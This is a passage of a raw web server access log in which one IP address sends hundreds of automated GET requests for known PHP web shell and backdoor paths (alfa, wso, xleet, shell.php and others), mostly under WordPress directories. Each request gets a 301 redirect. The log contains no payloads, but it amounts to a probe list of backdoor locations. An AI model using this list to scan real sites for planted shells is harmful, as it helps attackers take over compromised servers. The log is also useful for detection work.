/small.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:37 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:38 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:38 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:39 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:40 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:41 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:42 -0400] "GET /ulc2.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:42 -0400] "GET /BIBIL_0DAY.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:43 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:44 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:45 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:46 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:46 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:48 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:48 -0400] "GET /gecko-new.php.1 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:49 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:50 -0400] "GET /ewywe1dg.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:51 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:52 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:52 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:53 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:54 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:54 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:55 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:55 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:56 -0400] "GET /cgi-bin/404.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:57 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:57 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:58 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:58 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:36:59 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:00 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:00 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:01 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:02 -0400] "GET /daddy.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:02 -0400] "GET /.well-known/ktlldmmx.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:03 -0400] "GET /cljntmcz.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:04 -0400] "GET /assets/cms/plugins/ckfinder/_samples/php/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:05 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:06 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:06 -0400] "GET /catuploadcsv.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:07 -0400] "GET /wp-admin/29rc7ExgS6p.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:07 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:08 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:09 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:09 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:10 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:11 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:12 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:14 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:15 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:16 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:18 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:19 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:20 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:21 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:22 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:23 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:24 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:25 -0400] "GET /sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:25 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:26 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:27 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:28 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:28 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:30 -0400] "GET /wp-admin/css/colors/coffee/themes.php.hacked HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:30 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:31 -0400] "GET /wp-content/plugins/fix/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:32 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:33 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:35 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:36 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:36 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:37 -0400] "GET /configure.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:38 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:38 -0400] "GET /wp-admin/includes/class-walker-nav-edit.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:39 -0400] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:40 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:41 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:42 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:43 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:44 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:45 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:46 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:47 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:48 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:49 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:49 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:50 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:51 -0400] "GET /add_class.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:51 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:52 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:53 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:53 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:54 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:55 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:55 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:56 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:57 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:57 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:58 -0400] "GET /wp-content/plugins/zxmunes/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:59 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:37:59 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:00 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:01 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:02 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:03 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:04 -0400] "GET /admin.php1 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:05 -0400] "GET /wp-content/plugins/df2xx/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:07 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:08 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:09 -0400] "GET /wp-includes/images/smilies/dVSRAByORS.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:11 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:12 -0400] "GET /wp-admin/css/imdnbpma.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:14 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:15 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:15 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:16 -0400] "GET /css_editor.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:17 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:18 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:19 -0400] "GET /wp-content/plugins/content-management/content.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:20 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:21 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:21 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:22 -0400] "GET /wp-admin/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:23 -0400] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:23 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:24 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:24 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:25 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:26 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:26 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:27 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:27 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:28 -0400] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:28 -0400] "GET /update/upload.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:29 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:30 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:30 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:31 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:32 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:32 -0400] "GET /engine.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:33 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:34 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:35 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:35 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:36 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:37 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:38 -0400] "GET /wp-includes/qqzqflcv.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:39 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:40 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:41 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:42 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:43 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:44 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:44 -0400] "GET /wp-includes/ID3/berlin.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:45 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:46 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:47 -0400] "GET /addslashes.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:47 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:48 -0400] "GET /wp-content/plugins/pxkxbea/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:49 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:49 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:50 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:50 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:51 -0400] "GET /wp-content/uploads/wpr-addons/forms/RxRzhwix.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:51 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:52 -0400] "GET /wp-includes/js/plupload/wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:53 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:53 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:55 -0400] "GET /wp-includes/wp-class.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:56 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:57 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:58 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:58 -0400] "GET /OthioNDwMEK.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:38:59 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:00 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:01 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:02 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:02 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:03 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:04 -0400] "GET /ws.php.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:05 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:06 -0400] "GET /comdofuns.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:07 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:07 -0400] "GET /wp-admin/includes/1975Team.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:08 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:09 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:09 -0400] "GET /feed-rss2-queue.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:10 -0400] "GET /alert.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:11 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:12 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:12 -0400] "GET /contact_tpl.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:13 -0400] "GET /wp-core.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:14 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:15 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:15 -0400] "GET /css/access.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:16 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:16 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:17 -0400] "GET /wp-config-premigrate.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:18 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:19 -0400] "GET /.well-known/acme-challenge/sxo.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:20 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:21 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:22 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:23 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:24 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:25 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:26 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:26 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:27 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:28 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:29 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:32 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:33 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:35 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:36 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:37 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:38 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:39 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:39 -0400] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:40 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:41 -0400] "GET /xleetshell.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:42 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:44 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:46 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:47 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:48 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:49 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:50 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:51 -0400] "GET /change_password.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:51 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.22.197 - - [18/Apr/2025:21:39:52 -0400] 